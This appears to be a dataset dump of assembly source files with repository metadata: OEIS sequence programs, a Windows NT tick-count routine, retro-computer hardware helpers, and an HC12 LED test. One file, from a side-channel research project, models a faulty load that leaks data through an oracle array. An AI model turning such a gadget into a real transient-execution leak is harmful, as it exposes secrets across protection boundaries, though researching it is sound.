hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
4c7654bcaeb31a94815bd92aeb625e79e34a0891
428
asm
Assembly
oeis/216/A216754.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/216/A216754.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/216/A216754.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A216754: Digital root of fourth power of Fibonacci numbers. ; Submitted by Jamie Morken(s2) ; 0,1,1,7,9,4,1,4,9,7,1,1,9,1,1,7,9,4,1,4,9,7,1,1,9,1,1,7,9,4,1,4,9,7,1,1,9,1,1,7,9,4,1,4,9,7,1,1,9,1,1,7,9,4,1,4,9,7,1,1,9,1,1,7,9,4,1,4,9,7,1,1,9,1,1,7,9,4,1,4,9,7,1,1,9,1,1,7,9,4,1,4,9,7,1,1,9,1,1,7 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. pow $0,4 sub $0,1 lpb $0 mod $0,9 lpe add $0,1
35.666667
201
0.567757
1218b310678cedd5b544838d5623b7cd7f65eb13
347
asm
Assembly
programs/oeis/272/A272361.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/272/A272361.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/272/A272361.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A272361: Numbers n such that (2^n + 1) / gcd(n, 2^n + 1) is not squarefree. ; 182,546,910,1274,1638,2002,2366,2730,3094,3458,3822,4186,4550,4914,5278,5642,6006,6370,6734,7098,7462,7826,8190,8554,8918,9282,9646,10010,10374,10738,11102,11466,11830,12194,12558,12922,13286,13650,14014,14378,14742,15106,15470,15834 mov $1,$0 mul $1,364 add $1,182
49.571429
235
0.740634
422e30573a2124826cbe4ec3928c5017e881d5e5
238
asm
Assembly
programs/oeis/033/A033351.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/033/A033351.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/033/A033351.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A033351: [ 31/n ]. ; 31,15,10,7,6,5,4,3,3,3,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 add $0,1 mov $1,31 div $1,$0
34
186
0.504202
a7502f00a7ba74ec0371a6b9ae5f5e0155156f42
643
asm
Assembly
oeis/154/A154743.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/154/A154743.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/154/A154743.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A154743: Decimal expansion of 2^(1/4) - 2^(-1/4), the ordinate of the point of bisection of the arc of the unit lemniscate (x^2 + y^2)^2 = x^2 - y^2 in the first quadrant. ; Submitted by Christian Krause ; 3,4,8,3,1,0,6,9,9,7,4,9,0,0,6,5,2,3,6,8,6,3,7,4,4,9,4,3,2,7,2,6,1,0,2,0,2,5,2,9,3,7,8,3,0,1,0,7,0,3,2,9,0,2,2,0,5,7,7,6,1,3,8,7,4,4,5,4,1,9,1,3,2,7,3,0,1,4,9,2,0,0,5,6,4,5,7,3,4,0,3,3,8,8,4,5,1,3,7,5 add $0,1 mov $2,2 mov $3,$0 mul $3,4 lpb $3 mul $1,2 add $6,$2 add $1,$6 add $1,$2 mov $7,$2 add $2,$1 sub $3,1 add $5,$2 add $6,$5 lpe mov $4,10 pow $4,$0 add $5,$7 mov $1,$5 div $2,$4 div $1,$2 mov $0,$1 mod $0,10
22.964286
201
0.55521
f7391fc6c3eda1b46db75e399ec2f3dfaa1cf0ae
4,386
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_21829_2685.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_21829_2685.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0x48.log_21829_2685.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %r8 push %rax push %rdx push %rsi // Load lea addresses_UC+0xb28c, %r15 nop nop nop inc %r8 mov (%r15), %edx nop nop nop nop nop sub $64536, %r13 // Store lea addresses_UC+0x3e6a, %rax nop cmp $25381, %rsi movl $0x51525354, (%rax) cmp $23272, %r14 // Load mov $0x5dd0940000000d7c, %r8 add $53536, %rdx mov (%r8), %r13 nop nop nop nop cmp $25279, %rdx // Faulty Load mov $0x6ea815000000018c, %r14 nop cmp %r8, %r8 mov (%r14), %ax lea oracles, %r13 and $0xff, %rax shlq $12, %rax mov (%r13,%rax,1), %rax pop %rsi pop %rdx pop %rax pop %r8 pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 8, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': True, 'congruent': 1, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
56.961039
2,999
0.655951
89843d506a1f922b915d5de026a13e36ecd5702c
320
asm
Assembly
programs/oeis/155/A155167.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/155/A155167.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/155/A155167.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A155167: (L)-sieve transform of A004767 = {3,7,11,15,...,4n-1,...}. ; 1,2,3,5,7,10,14,19,26,35,47,63,85,114,153,205,274,366,489,653,871,1162,1550,2067,2757,3677,4903,6538,8718,11625,15501,20669,27559,36746,48995,65327,87103,116138,154851,206469 mov $1,4 lpb $0 sub $0,1 mul $1,4 div $1,3 lpe sub $1,3 mov $0,$1
26.666667
176
0.6625
bf7d9656591cd8402891bb09e073d117a8ea2e9a
624
asm
Assembly
oeis/132/A132732.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/132/A132732.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/132/A132732.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A132732: Row sums of triangle A132731. ; 1,2,4,10,24,54,116,242,496,1006,2028,4074,8168,16358,32740,65506,131040,262110,524252,1048538,2097112,4194262,8388564,16777170,33554384,67108814,134217676,268435402,536870856,1073741766,2147483588,4294967234,8589934528,17179869118,34359738300,68719476666,137438953400,274877906870,549755813812,1099511627698,2199023255472,4398046511022,8796093022124,17592186044330,35184372088744,70368744177574,140737488355236,281474976710562,562949953421216,1125899906842526,2251799813685148,4503599627370394 mov $1,2 pow $1,$0 mul $0,2 mul $1,2 mov $2,$0 cmp $2,0 add $0,$2 sub $1,$0 mov $0,$1
48
495
0.830128
cb6c49fc671c7577ff1984b9f7ae9abdee0973b3
2,077
asm
Assembly
programs/counter.asm
mfkiwl/tinySoC-ice40
bd50f12623b37affaad5d2c01b51a48b470dbfe1
[ "MIT" ]
2
2020-07-25T02:14:02.000Z
2020-08-24T15:06:20.000Z
programs/counter.asm
mfkiwl/tinySoC-ice40
bd50f12623b37affaad5d2c01b51a48b470dbfe1
[ "MIT" ]
null
null
null
programs/counter.asm
mfkiwl/tinySoC-ice40
bd50f12623b37affaad5d2c01b51a48b470dbfe1
[ "MIT" ]
1
2020-08-18T21:26:26.000Z
2020-08-18T21:26:26.000Z
;****************************************************************************** .define dir_reg, 0x00 .define port_reg, 0x01 .define pin_reg, 0x02 .define prescaler_l, 0x03 .define prescaler_h, 0x04 .define count_ctrl, 0x05 .define gpu_addr, 0x2000 .define gpu_ctrl_reg, 0x80 .define gpu_isr_vector, 0x0014 .define top_isr_vector, 0x001E ;****************************************************************************** .code ldi r14, 0xff ; set stack pointer ldi r0, 0b00011000 out r0, gpu_ctrl_reg ldi r2, gpu_addr[l] ldi r3, gpu_addr[h] ldi r0, 0xff out r0, dir_reg ; set all pins to output ldi r0, 36 out r0, prescaler_l ; set LSBs of prescaler ldi r0, 244 out r0, prescaler_h ; set MSPs of prescaler ldi r0, 0b00010010 out r0, count_ctrl ; set pwm mode, set top interrupt ldi r5, 0 ssr 8 ; enable interrupts loop: br loop ; loop and wait for interrupt ;****************************************************************************** .org top_isr_vector isr: out r5, port_reg mov r12, r5 call numToStr ldi r2, gpu_addr[l] ldi r3, gpu_addr[h] adi r5, 1 exit: ssr 8 ; enable interrupts ret ;****************************************************************************** numToStr: mov r13, r12 srl r13 srl r13 srl r13 srl r13 cpi r13, 0x09 bc alpha1 adi r13, 48 br print1 alpha1: adi r13, 55 print1: sri r13, p2 ani r12, 0x0f cpi r12, 0x09 bc alpha2 adi r12, 48 br print2 alpha2: adi r12, 55 print2: sri r12, p2 ret ;******************************************************************************
28.067568
88
0.397208
ad0708cbd39d5fe6bd2b9ad1fa49bb1499b1550e
1,341
asm
Assembly
private/ntos/ex/i386/tickcnt.asm
King0987654/windows2000
01f9c2e62c4289194e33244aade34b7d19e7c9b8
[ "MIT" ]
11
2017-09-02T11:27:08.000Z
2022-01-02T15:25:24.000Z
private/ntos/ex/i386/tickcnt.asm
King0987654/windows2000
01f9c2e62c4289194e33244aade34b7d19e7c9b8
[ "MIT" ]
null
null
null
private/ntos/ex/i386/tickcnt.asm
King0987654/windows2000
01f9c2e62c4289194e33244aade34b7d19e7c9b8
[ "MIT" ]
14
2019-01-16T01:01:23.000Z
2022-02-20T15:54:27.000Z
title "NtGetTickCount" ;++ ; ; Copyright (c) 1989 Microsoft Corporation ; ; Module Name: ; ; tickcnt.asm ; ; Abstract: ; ; ; This module contains the implementation for the fast NtGetTickCount service ; ; ; Author: ; ; Mark Lucovsky (markl) 19-Oct-1996 ; ; Environment: ; ; Kernel mode. ; ; Revision History: ; ; ;-- .386p ; .xlist include ks386.inc include callconv.inc ; calling convention macros ; .list extrn _KeTickCount:DWORD extrn _ExpTickCountMultiplier:DWORD _TEXT SEGMENT DWORD PUBLIC 'CODE' ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING page ,132 ;++ ; ; Routine Description: ; ; This function returns number of milliseconds since the system ; booted. This function is designed to support the Win32 GetTicKCount ; API. ; ; Arguments: ; ; NONE ; ; Return Value: ; ; Returns the number of milliseconds that have transpired since boot ; ;-- cPublicProc _NtGetTickCount, 0 cPublicFpo 0, 0 mov eax,dword ptr [_KeTickCount] mul dword ptr [_ExpTickCountMultiplier] shrd eax,edx,24 ; compute resultant tick count stdRET _NtGetTickCount stdENDP _NtGetTickCount _TEXT ends end
18.625
81
0.61223
2eeb28d517ce01735602a531c51b3855022ff91a
64
asm
Assembly
chapter3/section07/crt0.asm
youliangdao/x86emulator
a87c560137ceead87b53201bff6909274be1fac9
[ "Zlib" ]
12
2020-09-17T13:33:24.000Z
2022-03-13T21:48:52.000Z
chapter3/section07/crt0.asm
youliangdao/x86emulator
a87c560137ceead87b53201bff6909274be1fac9
[ "Zlib" ]
2
2020-07-03T03:12:01.000Z
2021-06-11T00:31:19.000Z
chapter3/section07/crt0.asm
youliangdao/x86emulator
a87c560137ceead87b53201bff6909274be1fac9
[ "Zlib" ]
5
2020-07-04T16:59:29.000Z
2021-11-26T17:14:07.000Z
BITS 32 extern main global start start: call main jmp 0
9.142857
13
0.6875
ea3bce66b69be11ef09cbacc6dfd65795cdd2620
483
asm
Assembly
libsrc/x1/set_crtc_10.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/x1/set_crtc_10.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/x1/set_crtc_10.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; ; Sharp X1 specific routines ; Set 14 6845 CRTC registers at once ; ; void set_crtc(void *reg_list); ; ; Set 16 6845 CRTC registers at once ; ; $Id: set_crtc_10.asm,v 1.3 2016/06/10 23:45:21 dom Exp $ ; SECTION code_clib PUBLIC set_crtc_10 PUBLIC _set_crtc_10 set_crtc_10: _set_crtc_10: ; __FASTCALL__ : CRTC table ptr in HL LD DE,000Ah LD BC,1800h ; CRTC setout: OUT (C),D INC BC LD A,(HL) OUT (C),A DEC BC INC HL INC D DEC E JR NZ,setout RET
13.8
58
0.668737
523801c83cd68379d49f2220ccf1e912bc63a422
1,865
asm
Assembly
ECE263/Labs/Lab4/led-test.asm
Reiuiji/UmassdPortfolio
959d852a91825326fd777c1883cdfac39d8dd3dd
[ "MIT" ]
3
2017-04-23T00:53:11.000Z
2019-03-11T23:47:20.000Z
ECE263/Labs/Lab4/led-test.asm
Reiuiji/UmassdPortfolio
959d852a91825326fd777c1883cdfac39d8dd3dd
[ "MIT" ]
null
null
null
ECE263/Labs/Lab4/led-test.asm
Reiuiji/UmassdPortfolio
959d852a91825326fd777c1883cdfac39d8dd3dd
[ "MIT" ]
null
null
null
; export symbols XDEF Entry, _Startup ;export 'Entry' symbol ABSENTRY Entry ;for absolute assembly: mark this as entry point ;definitions RAMStart EQU $1000 ;absoolute address of the start of RAM ROMSTART EQU $C000 ;absolute addres to place code/constant data PTA EQU $0000 PTB EQU $0001 PTP EQU $258 DDRA EQU $0002 DDRB EQU $0003 DDRP EQU $25A OUTMASK EQU $FF ;led layout LED0 EQU %00111111 LED1 EQU $06 LED2 EQU $5B LED3 EQU $4F LED4 EQU $66 LED5 EQU %01101101 LED6 EQU %01111101 LED7 EQU %00000111 LED8 EQU %01111111 LED9 EQU %01101111 ;port P layout P0 EQU %1110 P1 EQU %1101 P2 EQU %1011 P3 EQU %0111 PN EQU %1111 ;variable section ORG RAMStart ;code section ORG ROMSTART ;FOREVER TRAPPED IN A BRANCH HERE: BRA HERE Entry: _Startup: ;led test LDAA #OUTMASK STAA DDRB STAA DDRP LD: LDAB #PN STAB PTP LDAA #LED0 LDAB #P0 STAA PTB STAB PTP LDAB #P1 STAB PTP LDAA #LED1 STAA PTB LDAB #P2 STAB PTP LDAA #LED2 STAA PTB LDAB #P3 STAB PTP LDAA #LED3 STAA PTB LDAB #P0 STAB PTP LDAA #LED4 STAA PTB LDAB #P1 STAB PTP LDAA #LED5 STAA PTB LDAB #P2 STAB PTP LDAA #LED6 STAA PTB LDAB #P3 STAB PTP LDAA #LED7 STAA PTB LDAB #P1 STAB PTP LDAA #LED8 STAA PTB LDAB #P2 STAB PTP LDAA #LED9 STAA PTB BRA LD ;Interrupt Vectors ORG $FFFE DC.W Entry ;reset vector
15.286885
68
0.50563
141f535105aaad09496776a00e81112b00c54e15
367
asm
Assembly
ver0/3_osInPro/4_devKernel/string.asm
RongbinZhuang/simpleOS
81a817eb5f2c7891ab3f107a5cd5e0f0c31af143
[ "MIT" ]
null
null
null
ver0/3_osInPro/4_devKernel/string.asm
RongbinZhuang/simpleOS
81a817eb5f2c7891ab3f107a5cd5e0f0c31af143
[ "MIT" ]
null
null
null
ver0/3_osInPro/4_devKernel/string.asm
RongbinZhuang/simpleOS
81a817eb5f2c7891ab3f107a5cd5e0f0c31af143
[ "MIT" ]
null
null
null
[section .text] global memcpy memcpy: push ebp mov ebp ,esp push esi push edi push ecx mov edi ,[ebp+8] mov esi ,[ebp+12] mov ecx ,[ebp+16] .1: cmp ecx ,0 jz .2 mov al ,[ds:esi] inc esi mov BYTE[es:edi] ,al inc edi dec ecx jmp .1 .2: mov eax ,[ebp+8] pop ecx pop edi pop esi mov esp ,ebp pop ebp ret
12.233333
23
0.550409
db8d8d7e3e39c5265fe1e6cdf26aa6498326ab14
2,408
asm
Assembly
programs/oeis/018/A018227.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/018/A018227.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/018/A018227.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A018227: Magic numbers: atoms with full shells containing any of these numbers of electrons are considered electronically stable. ; 2,10,18,36,54,86,118,168,218,290,362,460,558,686,814,976,1138,1338,1538,1780,2022,2310,2598,2936,3274,3666,4058,4508,4958,5470,5982,6560,7138,7786,8434,9156,9878,10678,11478,12360,13242,14210,15178,16236,17294,18446,19598,20848,22098,23450,24802,26260,27718,29286,30854,32536,34218,36018,37818,39740,41662,43710,45758,47936,50114,52426,54738,57188,59638,62230,64822,67560,70298,73186,76074,79116,82158,85358,88558,91920,95282,98810,102338,106036,109734,113606,117478,121528,125578,129810,134042,138460,142878,147486,152094,156896,161698,166698,171698,176900,182102,187510,192918,198536,204154,209986,215818,221868,227918,234190,240462,246960,253458,260186,266914,273876,280838,288038,295238,302680,310122,317810,325498,333436,341374,349566,357758,366208,374658,383370,392082,401060,410038,419286,428534,438056,447578,457378,467178,477260,487342,497710,508078,518736,529394,540346,551298,562548,573798,585350,596902,608760,620618,632786,644954,657436,669918,682718,695518,708640,721762,735210,748658,762436,776214,790326,804438,818888,833338,848130,862922,878060,893198,908686,924174,940016,955858,972058,988258,1004820,1021382,1038310,1055238,1072536,1089834,1107506,1125178,1143228,1161278,1179710,1198142,1216960,1235778,1254986,1274194,1293796,1313398,1333398,1353398,1373800,1394202,1415010,1435818,1457036,1478254,1499886,1521518,1543568,1565618,1588090,1610562,1633460,1656358,1679686,1703014,1726776,1750538,1774738,1798938,1823580,1848222,1873310,1898398,1923936,1949474,1975466,2001458,2027908,2054358,2081270,2108182,2135560,2162938,2190786,2218634,2246956,2275278,2304078,2332878,2362160,2391442,2421210,2450978,2481236,2511494,2542246,2572998,2604248,2635498,2667250 mov $16,$0 mov $18,$0 add $18,1 lpb $18 clr $0,16 mov $0,$16 sub $18,1 sub $0,$18 mov $13,$0 mov $15,$0 add $15,1 lpb $15 mov $0,$13 sub $15,1 sub $0,$15 mov $9,$0 mov $11,2 lpb $11 sub $11,1 add $0,$11 sub $0,1 mov $4,$0 add $4,$0 add $4,2 div $4,4 add $4,1 mov $1,$4 pow $1,2 mov $12,$11 lpb $12 mov $10,$1 sub $12,1 lpe lpe lpb $9 mov $9,0 sub $10,$1 lpe mov $1,$10 mul $1,2 add $14,$1 lpe add $17,$14 lpe mov $1,$17
49.142857
1,680
0.738372
0664b0d0f0ac166ce877051b74eee6a23ea0037e
222
asm
Assembly
libsrc/stdio/p2000/fgetc_cons.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/stdio/p2000/fgetc_cons.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/stdio/p2000/fgetc_cons.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; ; Philips P2000 ; ; getkey() Wait for keypress ; ; Apr 2014 - Stefano Bodrato ; ; ; $Id: fgetc_cons.asm,v 1.2 2015/01/19 01:33:21 pauloscustodio Exp $ ; PUBLIC fgetc_cons fgetc_cons: call 1956h ld l,a ld h,0 ret
11.1
68
0.671171
961acfe75227a1d689039f3f322ac4bbfa1d2da4
319
asm
Assembly
oeis/021/A021738.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/021/A021738.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/021/A021738.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A021738: Decimal expansion of 1/734. ; Submitted by Jon Maiga ; 0,0,1,3,6,2,3,9,7,8,2,0,1,6,3,4,8,7,7,3,8,4,1,9,6,1,8,5,2,8,6,1,0,3,5,4,2,2,3,4,3,3,2,4,2,5,0,6,8,1,1,9,8,9,1,0,0,8,1,7,4,3,8,6,9,2,0,9,8,0,9,2,6,4,3,0,5,1,7,7,1,1,1,7,1,6,6,2,1,2,5,3,4,0,5,9,9,4,5 seq $0,199685 ; a(n) = 5*10^n+1. div $0,367 mod $0,10
39.875
199
0.554859
0e27a02b95cc0c564a4fe00796cfd8f683b2cd60
827
asm
Assembly
programs/oeis/003/A003417.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/003/A003417.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/003/A003417.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
